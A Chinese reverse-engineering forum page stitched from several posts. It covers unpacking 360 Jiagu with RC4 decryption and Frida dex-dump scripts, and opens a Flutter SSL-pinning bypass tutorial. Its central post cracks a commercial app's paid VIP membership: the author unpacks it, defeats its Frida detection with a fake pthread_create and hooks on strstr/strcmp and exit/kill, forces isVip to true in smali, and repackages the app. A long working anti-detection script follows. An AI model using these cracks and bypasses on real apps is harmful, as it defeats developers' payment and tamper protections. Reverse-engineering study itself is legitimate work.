显然Sbox是不一致的,那么反正有了Sbox,我们就不需要再去管init方法了,直接使用现成的Sbox就可以了。
\\n还是没能解出来,有点难受了,还有一个细节就是i , j 来自于Sbox的第257和258位,他们会不会不是0呢?我们多dump两个看看
\\n果然不是0!
\\n解密成功
\\n拿到的东西,似乎依旧不是正确的,继续查看调用链,最后在sub_5304找到了这样的一个函数
\\n这里其实是一个向量运算,第一个字节为异或的值,后面的四个字节表示异或的大小。
\\n接下来重新用脚本把他们都解密出来:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | import zlib import struct def RC4(data, key): for i in range(0,8): print(hex(data[i])) S = list(range(256)) j = 0 out = [] S = [0x76,0xac,0x57,0x5d,0x84,0x1a,0x43,0x9d,0xfb,0x5f,0xf8,0x59,0x35,0x9c,0x05,0x36,0xcd,0xd1,0x01,0xcc,0x39,0x49,0xb6,0x10,0x0e,0x5e,0x2e,0x2a,0x29,0x7f,0x72,0x88,0x9f,0x13,0x2c,0x6f,0x44,0x9b,0x67,0x4a,0xe0,0xee,0x77,0x34,0x97,0x0b,0x68,0x0c,0x4f,0xcf,0x8f,0x95,0x83,0x52,0xef,0x78,0x6a,0xde,0x09,0x1d,0xb5,0x48,0xa8,0xa1,0x46,0x85,0x02,0xe7,0xcb,0x41,0xb3,0x3e,0x71,0xb9,0x3b,0xe4,0x53,0xc9,0x73,0x42,0xe5,0x30,0x25,0x75,0xf9,0xdf,0x14,0x38,0xae,0xd2,0x0d,0x82,0x6c,0x93,0x6e,0xbe,0x5b,0x20,0xf3,0x47,0xd8,0xf1,0x8b,0x64,0xb1,0xab,0xad,0xf6,0xb8,0x7a,0x80,0x4d,0xb7,0x56,0xec,0xb0,0x66,0x18,0xc4,0x92,0x33,0xc8,0x60,0x4e,0x31,0xd9,0x5a,0x03,0xe6,0x15,0xd3,0xa3,0x21,0xa7,0x1c,0xc1,0x26,0x3c,0x1e,0x70,0xbf,0xa2,0xc5,0xc3,0xa0,0xc2,0xc0,0x98,0x28,0x89,0x50,0x4b,0x90,0x6b,0xe1,0x55,0x79,0x7c,0xfd,0xff,0xe3,0xaa,0x2b,0xa4,0xbd,0x62,0x2f,0x16,0xb4,0x7e,0xc6,0xfe,0x63,0xda,0x51,0xd6,0x32,0x3a,0x11,0xc7,0x3f,0x8e,0xd5,0xea,0xa5,0xba,0xca,0xed,0x08,0x22,0x74,0x5c,0x24,0x4c,0x7b,0xbb,0xa9,0x8d,0x96,0x91,0x1b,0xf2,0x17,0x94,0x45,0x19,0xce,0x06,0x8a,0x65,0x37,0x86,0xf5,0x12,0x9a,0x69,0x8c,0x87,0xd4,0xe8,0x6d,0xeb,0x58,0x23,0x00,0x40,0x1f,0xaf,0x99,0xdd,0x04,0x9e,0x7d,0x0a,0xa6,0x81,0xf0,0xf7,0x3d,0xe9,0xdb,0x0f,0xbc,0x27,0xfa,0xe2,0xfc,0xf4,0xb2,0xd0,0xdc,0xd7,0x54,0x07,0x2d,0x61] i = 0x3 j = 0x5 for ch in data: i = (i + 2) % 256 j = (j + S[i] + 1) % 256 S[i], S[j] = S[j], S[i] out.append(ch ^ S[(S[i] + S[j]) % 256]) return out def RC4decrypt(ciphertext, key): return RC4(ciphertext, key) wrap_elf_start = 0x2D260 wrap_elf_size = 0xB9956 key = b \\"vUV4#\\\\x91#SVt\\" with open( \'libjiagu_64.so_Fix\' , \'rb\' ) as f: wrap_elf = f.read() # 对密文进行解密 dec_compress_elf = RC4decrypt(wrap_elf[wrap_elf_start:wrap_elf_start+wrap_elf_size], key) dec_elf = zlib.decompress(bytes(dec_compress_elf[4::])) with open( \'wrap_elf\' , \'wb\' ) as f: f.write(dec_elf) class part: def __init__(self): self.name = \\"\\" self.value = b \'\' self.offset = 0 self.size = 0 index = 1 extra_part = [part() for _ in range(7)] seg = [ \\"a\\" , \\"b\\" , \\"c\\" , \\"d\\" ] v_xor = dec_elf[0] for i in range(4): size = int .from_bytes(dec_elf[index:index + 4], \'little\' ) index += 4 extra_part[i + 1].name = seg[i] extra_part[i + 1].value = bytes(map(lambda x: x ^ v_xor, dec_elf[index:index + size])) extra_part[i + 1].size = size index += size for p in extra_part: if p.value != b \'\' : filename = f \\"libjiagu.so_{hex(p.size)}_{p.name}\\" print(f \\"[{p.name}] get {filename}, size: {hex(p.size)}\\" ) with open(filename, \'wb\' ) as f: f.write(p.value) |
得到每个段的大小和偏移,还记不记得我们之前讲过程序头是6个大小0x38的字节组成的,那么计算一波这个a正好满足程序头的大小,那么我们使用010修补原本程序
\\n然后我们继续观察,.rela.plt,.rela.dyn储存的内容是要远远大于dynamic的,所以我们可以锁定dynamic是d,那么我们根据program header table找到dynamic的偏移:
\\n
CTRL+G跳转过去
填入d的内容
\\n接下来:
\\n根据这个我们就能知道
0x7是dyn偏移,0x8是dyn大小
0x17是plt偏移,0x2是plt大小
对应的那么b就是plt了,c就是dyn了,依旧是填入修复:
\\n至此,主so修复完成。
\\n为了方便hook和分析,我们需要设置基地址为这个so的地址:这里是0xe8000
\\n设置完了之后大家是否还记得最开始我们跟踪open的时候那几个函数呢,我们现在继续过去看看。
我们可以观察到在打开dex之后会调用0x136788,调用完他之后调用了artso里面的一些擀卷函数FindClass???显然在0x136788之后就解密完成了,那么我们跟过去看看
这附近肯定就存在解密解密点了,向下看:
\\n
我们可以找到该方法,通过之前hook的方式打印他的调用栈。
这
之后立马就是加载findclass这些,我们直接看看他的参数是什么样的,这里需要注意,之前我们hook的是Android_dlopen_ext,但是由于这个是主elf不是使用上面的加载的了,所以我们得改用对dlopen做hook。
\\nhook一下0x193868,然后看一下内存
\\n全体起立。
\\n接下来就是把这个内存给dump下来了,那么要dump多大还不知道,我们看看别的参数。
发现aargs[2]就是dex的大小,那么我们根据这个写脚本就可以了。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | function travedec() { var base = Process.findModuleByName( \\"libjiagu_64.so\\" ).base.add(0x193868); var fileIndex = 0 //console.log(base); Interceptor.attach(base, { onEnter: function (args) { console.log(hexdump(args[1], { offset: 0, length: 0x30, header: true , ansi: true })) console.log(args[2]); try { var length = args[2].toInt32(); var data = Memory.readByteArray(args[1], length); var filePath = \\"/data/data/com.swdd.txjgtest/files/\\" + fileIndex + \\".dex\\" ; var file_handle = new File(filePath, \\"wb\\" ); if (file_handle && file_handle != null ) { file_handle.write(data); file_handle.flush(); file_handle.close(); console.log( \\"Data written to \\" + filePath); fileIndex++; } else { console.log( \\"Failed to create file: \\" + filePath); } } catch (e) { console.log( \\"Error: \\" + e.message); } }, onLeave: function (args) { } }) } function hook_dlopne() { var once = true ; Interceptor.attach(Module.findExportByName( null , \\"dlopen\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { console.log( \\"Load -> \\" , loadFileName); this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook && once) { travedec(); once = false ; } } }) } setImmediate(hook_dlopne); |
至此,结束。
\\n整个内容复现于https://oacia.dev/360-jiagu/
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n大家好,我是小生,这次的app是一个国内某计划app, 功能相当全,界面也很美观,很实用,这个app我很欣赏。总共花了有三天晚上加一个白天,抓包分析,脱壳,过检测,手撕smail, 调试等, 做开发好久了,逆向有段时间没有接触了,很生疏了
\\n就是会员太贵了,终身会员300多嘞!
\\n【为该公司的权益考虑,不提供成品,也不提供app相关 信息】
(现在大大小小的app全都加壳,甚至一些颜色灰产的也加国内的这些壳!!! 动不动就抽取,dex2c,都不能愉快的好好玩耍了)
还有asserts目录下的 libjiagu.so 就知道是数字壳无疑了!
apktool解包,发现6月份的新版数字加固
\\n脱壳用的fart改的脱壳机,详细过程就不赘述了
\\n
总共脱下来21个dex,一个个先脱进jadx中看看是否都是有用的,发现有两个全是壳相关的,剩下了19个
发现脱下来还是相对较完整的,里面也有损坏的部分,但影响不太大,
因为这次我需要的是里面的vip功能,按照惯例先搜isVip等字样
发现搜出来很多结果,不影响,排除掉本app的广告sdk和依赖的库,一个个看,看和用户相关的,发现两个类都是相关的
直接写hook,
只截取部分,
然后 frida启动!
我是先attach启动的,发现会闪退
换成去掉部分特征的strongr frida发现还是如此,
1.我又尝试了换端口,span启动,
2.hook libc.so中的 strstr,strcmp来去掉内存里的frida,gmain,gdbus等字样
3.hook 重定向/proc/xxx/maps
4.hook libc.so的exit
5.hook android.os.Process的killProcess
再配合上常用的几个过检测脚本还是一样闪退,感觉事情不简单了
提前说一嘴,这个frida检测不是在壳里,是在app的so里,还有hook这个业务代码要延迟一段时间执行,不然classloader还没有加载相关类。
\\n既然不是在java层,那就是在native层检测的了,通常是hook android_dlopen_ext,观察加载到哪个so的时候退出就可以定位到了,
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | function hook_dlopenAndExt() { Interceptor.attach(Module.findExportByName( null , \\"dlopen\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); //console.log(\\"dlopen:\\", path); // if (path.indexOf(\\"libart.so\\") >= 0) { // // this.can_hook_libart = true; // console.log(\\"[dlopen:]\\", path); // } console.log( \\"load \\" + path); } }, onLeave: function (retval) { // if (this.can_hook_libart && !is_hook_libart) { // dump_dex(); // is_hook_libart = true; // } } }) Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); //console.log(\\"android_dlopen_ext:\\", path); // if (path.indexOf(\\"libart.so\\") >= 0) { // // this.can_hook_libart = true; // console.log(\\"[android_dlopen_ext:]\\", path); // } console.log( \\"load \\" + path); } }, onLeave: function (retval) { // if (this.can_hook_libart && !is_hook_libart) { // dump_dex(); // is_hook_libart = true; // } } }); } |
可以定位到是在libmxxxdesc.so中
然后hook pthread_create函数,尝试找到来自libmxxxdesc.so创建的检测线程
然后就一直卡在那了,一直也找不到来自该so的创建线程的调用,
下面的部分借鉴看雪的看雪bilibili frida过检测
把so放进ida中也没有发现有创建线程的导入符号
尝试从更早的时机,通过hook dlsym函数来看是否有通过dlsym来获取pthread_create地址来进行调用
\\n发现确实调用了创建线程的函数,只不过不是直接调用,而是采用通过dlsym获取地址再调用
下面采用创建一个虚假的创建函数的地址返回,来欺骗目标so(还是来源于看雪bilibili frida过检测的思路和代码)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | function create_fake_pthread_create() { const fake_pthread_create = Memory.alloc(4096) Memory.protect(fake_pthread_create, 4096, \\"rwx\\" ) Memory.patchCode(fake_pthread_create, 4096, code => { const cw = new Arm64Writer(code, { pc: ptr(fake_pthread_create) }) cw.putRet() }) return fake_pthread_create } function hook_dlsym() { var count = 0 console.log( \\"=== HOOKING dlsym ===\\" ) var interceptor = Interceptor.attach(Module.findExportByName( null , \\"dlsym\\" ), { onEnter: function (args) { const name = ptr(args[1]).readCString() console.log( \\"[dlsym]\\" , name) if (name == \\"pthread_create\\" ) { count++ } }, onLeave: function (retval) { if (count == 1) { retval.replace(fake_pthread_create) } else if (count == 2) { retval.replace(fake_pthread_create) // 完成2次替换, 停止hook dlsym interceptor.detach() } } } ) return Interceptor } function hook_dlopen() { var interceptor = Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); console.log( \\"[LOAD]\\" , path) if (path.indexOf( \\"libmxxxxxec.so\\" ) > -1) { hook_dlsym() } } } } ) return interceptor } // 创建虚假pthread_create var fake_pthread_create = create_fake_pthread_create() var dlopen_interceptor = hook_dlopen() |
就过掉了检测
\\n
通过hook关键的函数发现确实可以达到付费vip的效果,但是部分界面显示的vip样式还是有点问题,
我逐个把dex脱进jadx中,进行查看,去除掉没用的dex, 发现可以去除掉两个全是数字壳的特征dex,
1.然后使用MT管理器把这21个dex替换了原来的dex
2.然后把asserts文件夹中的libjiagu.so 那四个数字壳的so文件删掉
3.然后把AndroidMinfest.xml中原来的com.stub.StubApp
为程序真正的入口com.xxxxxx
这个app是真的大,光androidMinfest文件就干出去将近5000行!!(后面改smail的时候很痛苦)
然后重打包编译,进行jarsinger签名,一气呵成,安装,闪退! 漂亮!
我一开始以为是不是有签名验证啊,我就再jadx中进行搜素packagemanager相关的,但都关系不太大,最后发现是脱壳还有数字的残留特征,
就是下面这种效果,1000多条!
invoke-static {p0, p1, p2}, Lcom/stub/StubApp;->interface24(Landroid/app/Activity;[Ljava/lang/String;I)V\\n\\n
可以用正则的方式匹配替换掉,这里很麻烦,我替换了整整有半个多小时,各种各样的,真恶心!
这里我是使用 一键正则 工具走捷径了(尽管这样,也很慢)
下面这两个可以通用替换掉一些,但还是会有很多很多很多漏网之鱼
invoke-static/range \\\\{.* \\\\.\\\\. .*\\\\}, Lcom/stub/StubApp;->getOrigApplicationContext\\\\(Landroid/content/Context;\\\\)Landroid/content/Context;\\\\s+move-result-object .*\\n\\n
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V\\n\\n
其实这个app算我运气好,onCreate函数没有被抽取掉,很赏脸了!
\\n再都完成替换之后,确认没有stubapp, stub/stub等数字壳特征之后,再进行重打包,签名,发现可以打开了,我测试了一下,里面有两个子页面有点问题,打开会闪退,不过我会用到的页面都正常,(这个app大大小小加起来有62个页面,那两个无所谓)
\\n首先声明一下,我不会smail(以下纯现学现用,所以看着像屎一样很正常)
这一步就没有什么技术含量了,(对于我这种小卡拉米以及 这种简单的app而言),主要是耐心和细心,
这里我是采用mt管理器来进行编辑的,不得不说,确实很方便,但是改smail也很麻烦,要操作寄存器,改完还不知道,只能重打包后安装才能验证出来,一不小心改错就会闪退,前文说到有两个相关的类,一个有get set方法,很好处理,get的话直接
const/4 v1, 0x1\\n然后return 或者赋值都可以,\\n\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | public class Uxxxxfo implements Serializable { public List<AdX> adxList; public boolean axxxxeVip; public String alxxxcon; public String axxxge; public CheckFreeVipInfo cxxxnfo; public boolean evxxp; public int exxxxay; public String id; public boolean isPoxxxp; public boolean isxxxit; public boolean isVip; ...... ...... |
还有一个bean全是public字段,没有get set方法,而且引用的地方相当多,我没有办法在构造函数中进行赋值,因为后续会被覆盖掉,这里我有想到用抓包改包的方式,我在有root和xposed的测试机上试验过,没问题,但我想在没有root和xposed的环境使用,这种方案显然不可行
我只能在每一个用到的地方都进行修改,比如
Lcom/dxxxx/lxxxxon/model/Uxxxxfo;->id:Ljava/lang/String;\\n\\n check-cast v2, Ljava/lang/CharSequence;\\n\\n invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z\\n\\n move-result v2\\n\\n const-string v8, \\"mContext\\"\\n\\n if-nez v2, :cond_218\\n\\n iget-boolean v2, v1, Lcom/xxx/xxxxx/model/Usxxxxxfo;->vstate:Z\\n\\n if-nez v2, :cond_7f\\n\\n goto/16 :goto_218\\n \\n 我要保证vstate一直为true\\n 我改成下面的\\n const/4 v2, 0x1 # 将常量 1(true)存储到寄存器 v2\\n iput-boolean v2, v1, Lcom/xxx/xxxxx/model/Usxxxxxfo;->vstate:Z\\n iget-boolean v2, v1, Lcom/xxx/xxxxx/model/Usxxxxxfo;->vstate:Z\\n if-nez v2, :cond_7f\\n\\n
之前一直采用的charles+postern方式抓包,用花哥的话说,走socket,靠近底层,能获取更多的上层流量
\\n现在我改成了 Reqable小黄鸟来抓包,头一次用,挺方便的,也是要root,这个没得跑,
关于证书安装的问题,安卓7以后要手动remount,把证书移动到/system/etc/security/cacerts目录下
我试了好几次,小黄鸟都识别不到证书已安装,尽管64xxxk.0已经在系统证书目录中,后来我尝试移除charles证书,试了两次,重启过后可以了! 至于没有网络或者其他的问题导致无法安装证书,我的博客里有记载。
敢于尝试,就有成功的可能
\\n文中所用到的部分过检测代码
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 | function loadGson() { Java.openClassFile( \\"/data/local/tmp/xiaosheng-dex-tool.dex\\" ).load(); var js = Java.use( \\"com.xiaosheng.tool.json.Gson\\" ); var gson = js.$ new (); return gson; } function hook_dlopen_ext() { Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); console.log( \\"load \\" + path); } } } ); } function hook_dlopenAndExt() { Interceptor.attach(Module.findExportByName( null , \\"dlopen\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); //console.log(\\"dlopen:\\", path); // if (path.indexOf(\\"libart.so\\") >= 0) { // // this.can_hook_libart = true; // console.log(\\"[dlopen:]\\", path); // } console.log( \\"load \\" + path); } }, onLeave: function (retval) { // if (this.can_hook_libart && !is_hook_libart) { // dump_dex(); // is_hook_libart = true; // } } }) Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); //console.log(\\"android_dlopen_ext:\\", path); // if (path.indexOf(\\"libart.so\\") >= 0) { // // this.can_hook_libart = true; // console.log(\\"[android_dlopen_ext:]\\", path); // } console.log( \\"load \\" + path); } }, onLeave: function (retval) { // if (this.can_hook_libart && !is_hook_libart) { // dump_dex(); // is_hook_libart = true; // } } }); } function hook_open() { var pth = Module.findExportByName( null , \\"open\\" ); Interceptor.attach(ptr(pth), { onEnter: function (args) { this .filename = args[0]; console.log( \\"\\" , this .filename.readCString()) if ( this .filename.readCString().indexOf( \\".so\\" ) != -1) { args[0] = ptr(0) } }, onLeave: function (retval) { return retval; } }) } function hookProcess() { var process = Java.use( \\"android.os.Process\\" ); process.killProcess.implementation = function (pid) { console.log( \\"kill process:\\" + pid) } } function hookExit() { var ByPassTracerPid = function () { var fgetsPtr = Module.findExportByName( \\"libc.so\\" , \\"fgets\\" ); var fgets = new NativeFunction(fgetsPtr, \'pointer\' , [ \'pointer\' , \'int\' , \'pointer\' ]); Interceptor.replace(fgetsPtr, new NativeCallback( function (buffer, size, fp) { var retval = fgets(buffer, size, fp); var bufstr = Memory.readUtf8String(buffer); if (bufstr.indexOf( \\"TracerPid:\\" ) > -1) { Memory.writeUtf8String(buffer, \\"TracerPid:\\\\t0\\" ); console.log( \\"tracerpid replaced: \\" + Memory.readUtf8String(buffer)); } return retval; }, \'pointer\' , [ \'pointer\' , \'int\' , \'pointer\' ])); }; } function hook_Pthreadfunc() { var pthread_creat_addr = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ) Interceptor.attach(pthread_creat_addr, { onEnter(args) { console.log( \\"call pthread_create...\\" ) let func_addr = args[2] console.log( \\"The thread function address is \\" + func_addr) try { console.log( \'pthread_create called from:\\\\n\' + Thread.backtrace( this .context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress) .join( \'\\\\n\' ) + \'\\\\n\' ); } catch (e) { } } }) } function hookBaseExit() { function main() { const openPtr = Module.getExportByName( \'libc.so\' , \'open\' ); const open = new NativeFunction(openPtr, \'int\' , [ \'pointer\' , \'int\' ]); var readPtr = Module.findExportByName( \\"libc.so\\" , \\"read\\" ); var read = new NativeFunction(readPtr, \'int\' , [ \'int\' , \'pointer\' , \\"int\\" ]); // var fakePath = \\"/sdcard/app/maps/maps\\"; var fakePath = \\"/data/local/tmp/fakeMap\\" ; var file = new File(fakePath, \\"w\\" ); var buffer = Memory.alloc(512); Interceptor.replace(openPtr, new NativeCallback( function (pathnameptr, flag) { var pathname = Memory.readUtf8String(pathnameptr); var realFd = open(pathnameptr, flag); if (pathname.indexOf( \\"maps\\" ) != 0) { while (parseInt(read(realFd, buffer, 512)) !== 0) { var oneLine = Memory.readCString(buffer); if (oneLine.indexOf( \\"tmp\\" ) === -1) { file.write(oneLine); } } var filename = Memory.allocUtf8String(fakePath); return open(filename, flag); } var fd = open(pathnameptr, flag); return fd; }, \'int\' , [ \'pointer\' , \'int\' ])); } setImmediate(main) } function replace_str() { var pt_strstr = Module.findExportByName( \\"libc.so\\" , \'strstr\' ); var pt_strcmp = Module.findExportByName( \\"libc.so\\" , \'strcmp\' ); Interceptor.attach(pt_strstr, { onEnter: function (args) { var str1 = args[0].readCString(); var str2 = args[1].readCString(); if (str2.indexOf( \\"tmp\\" ) !== -1 || str2.indexOf( \\"frida\\" ) !== -1 || str2.indexOf( \\"gum-js-loop\\" ) !== -1 || str2.indexOf( \\"gmain\\" ) !== -1 || str2.indexOf( \\"gdbus\\" ) !== -1 || str2.indexOf( \\"pool-frida\\" ) !== -1 || str2.indexOf( \\"linjector\\" ) !== -1) { // console.log(\\"strcmp--\x3e\\", str1, str2); this .hook = true ; } }, onLeave: function (retval) { if ( this .hook) { retval.replace(0); } } }); Interceptor.attach(pt_strcmp, { onEnter: function (args) { var str1 = args[0].readCString(); var str2 = args[1].readCString(); if (str2.indexOf( \\"tmp\\" ) !== -1 || str2.indexOf( \\"frida\\" ) !== -1 || str2.indexOf( \\"gum-js-loop\\" ) !== -1 || str2.indexOf( \\"gmain\\" ) !== -1 || str2.indexOf( \\"gdbus\\" ) !== -1 || str2.indexOf( \\"pool-frida\\" ) !== -1 || str2.indexOf( \\"linjector\\" ) !== -1) { // console.log(\\"strcmp--\x3e\\", str1, str2); this .hook = true ; } }, onLeave: function (retval) { if ( this .hook) { retval.replace(0); } } }) } // 定义一个函数anti_maps,用于阻止特定字符串的搜索匹配,避免检测到敏感内容如\\"Frida\\"或\\"REJECT\\" function anti_maps() { // 查找libc.so库中strstr函数的地址,strstr用于查找字符串中首次出现指定字符序列的位置 var pt_strstr = Module.findExportByName( \\"libc.so\\" , \'strstr\' ); // 查找libc.so库中strcmp函数的地址,strcmp用于比较两个字符串 var pt_strcmp = Module.findExportByName( \\"libc.so\\" , \'strcmp\' ); // 使用Interceptor模块附加到strstr函数上,拦截并修改其行为 Interceptor.attach(pt_strstr, { // 在strstr函数调用前执行的回调 onEnter: function (args) { // 读取strstr的第一个参数(源字符串)和第二个参数(要查找的子字符串) var str1 = args[0].readCString(); var str2 = args[1].readCString(); // 检查子字符串是否包含\\"REJECT\\"或\\"frida\\",如果包含则设置hook标志为true if (str2.indexOf( \\"REJECT\\" ) !== -1 || str2.indexOf( \\"frida\\" ) !== -1) { this .hook = true ; } }, // 在strstr函数调用后执行的回调 onLeave: function (retval) { // 如果之前设置了hook标志,则将strstr的结果替换为0(表示未找到),从而隐藏敏感信息 if ( this .hook) { retval.replace(0); } } }); // 对strcmp函数做类似的处理,防止通过字符串比较检测敏感信息 Interceptor.attach(pt_strcmp, { onEnter: function (args) { var str1 = args[0].readCString(); var str2 = args[1].readCString(); if (str2.indexOf( \\"REJECT\\" ) !== -1 || str2.indexOf( \\"frida\\" ) !== -1) { this .hook = true ; } }, onLeave: function (retval) { if ( this .hook) { // strcmp返回值为0表示两个字符串相等,这里同样替换为0以避免匹配成功 retval.replace(0); } } }); } const STD_STRING_SIZE = 3 * Process.pointerSize; class StdString { constructor() { this .handle = Memory.alloc(STD_STRING_SIZE); } dispose() { const [data, isTiny] = this ._getData(); if (!isTiny) { Java.api.$ delete (data); } } disposeToString() { const result = this .toString(); this .dispose(); return result; } toString() { const [data] = this ._getData(); return data.readUtf8String(); } _getData() { const str = this .handle; const isTiny = (str.readU8() & 1) === 0; const data = isTiny ? str.add(1) : str.add(2 * Process.pointerSize).readPointer(); return [data, isTiny]; } } function prettyMethod(method_id, withSignature) { const result = new StdString(); Java.api[ \'art::ArtMethod::PrettyMethod\' ](result, method_id, withSignature ? 1 : 0); return result.disposeToString(); } function hook_libc_exit() { var exit = Module.findExportByName( \\"libc.so\\" , \\"exit\\" ); console.log( \\"native:\\" + exit); Interceptor.attach(exit, { onEnter: function (args) { try { console.log(Thread.backtrace( this .context, Backtracer.FUZZY).map(DebugSymbol.fromAddress).join( \\"\\\\n\\" )); } catch (e) { console.log(e) } }, onLeave: function (retval) { //send(\\"gifcore so result value: \\"+retval); } }); } function anti_exit() { const exit_ptr = Module.findExportByName( null , \'_exit\' ); // DMLog.i(\'anti_exit\', \\"exit_ptr : \\" + exit_ptr); console.log( \\"anti_kill, kill_ptr:\\" + exit_ptr) if ( null == exit_ptr) { return ; } Interceptor.replace(exit_ptr, new NativeCallback( function (code) { if ( null == this ) { return 0; } // var lr = FCCommon.getLR(this.context); // DMLog.i(\'exit debug\', \'entry, lr: \' + lr); console.log( \\"kill debug entry,lr\\" ) return 0; }, \'int\' , [ \'int\' , \'int\' ])); } function anti_kill() { const kill_ptr = Module.findExportByName( null , \'kill\' ); // DMLog.i(\'anti_kill\', \\"kill_ptr : \\" + kill_ptr); console.log( \\"anti_kill, kill_ptr:\\" + kill_ptr) if ( null == kill_ptr) { return ; } Interceptor.replace(kill_ptr, new NativeCallback( function (ptid, code) { if ( null == this ) { return 0; } // var lr = FCCommon.getLR(this.context); // DMLog.i(\'kill debug\', \'entry, lr: \' + lr); console.log( \\"kill debug entry,lr\\" ) // FCAnd.showNativeStacks(this.context); return 0; }, \'int\' , [ \'int\' , \'int\' ])); } // FCCommon哪个库我引用一直有问题,就把那段代码注释掉了 |
1.了解Flutter基本概念以及识别特征
2.了解Flutter应用的抓包对抗策略
3.了解Flutter反编译以及实战
1.某读app
2.proxypin
3.blutter
Flutter是Google构建在开源的Dart VM之上,使用Dart语言开发的移动应用开发框架,可以帮助开发者使用一套Dart代码就能快速在移动iOS 、Android上构建高质量的原生用户界面,同时还支持开发Web和桌面应用。Flutter
引擎是一个用于高质量跨平台应用的可移植运行时,由C/C++
编写。它实现了Flutter
的核心库,包括动画和图形、文件和网络I/O、辅助功能支持、插件架构,以及用于开发、编译和运行Flutter
应用程序的Dart
运行时和工具链。引擎将底层C++
代码包装成 Dart
代码,通过dart:ui
暴露给 Flutter
框架层。
flutter开源地址
flutter官网
[原创]Flutter概述和逆向技术发展时间线,带你快速了解
\\n在逆向分析前,我们首先要确定测试目标是否用Flutter开发的。当使用Flutter构建Android APP时,在assets文件夹下会有dexopt和flutter_assets两个文件夹
lib文件夹会有两个so文件:libapp.so和libflutter.so(flutter动态链接库,与实际业务代码无关)
原理:
/system/etc/security/cacerts
目录中。这是通过Dart源码中的runtime/bin/security_context_linux.cc
文件实现的。通过分析Flutter应用程序抛出的错误,可以定位到触发错误的源代码位置,错误指向了handshake.cc:352
,这是一个处理SSL握手的源代码位置。
1 2 3 4 5 6 7 | E / flutter ( 10371 ): [ERROR:flutter / runtime / dart_isolate.cc( 805 )] Unhandled exception: E / flutter ( 10371 ): HandshakeException: Handshake error in client (OS Error: E / flutter ( 10371 ): NO_START_LINE(pem_lib.c: 631 ) E / flutter ( 10371 ): PEM routines(by_file.c: 146 ) E / flutter ( 10371 ): NO_START_LINE(pem_lib.c: 631 ) E / flutter ( 10371 ): PEM routines(by_file.c: 146 ) E / flutter ( 10371 ): CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc: 352 )) |
为了绕过SSL验证,需要找到一个合适的hook点,即源代码中可以被拦截和修改以改变程序行为的位置。ssl_verify_peer_cert
函数是一个可能的hook点,但经过测试,仅仅修改这个函数的返回值并不能成功绕过SSL验证。
进一步分析源代码后,发现session_verify_cert_chain
函数可以作为另一个hook点。这个函数在验证证书链时,如果证书验证失败,会返回一个错误。
1 2 3 4 | ret = ssl->ctx->x509_method->session_verify_cert_chain( hs->new_session.get(), hs, &alert) ? ssl_verify_ok : ssl_verify_invalid; |
session_verify_cert_chain函数定义在ssl_x509.cc,在该方法里可以看到有ssl_client和ssl_server
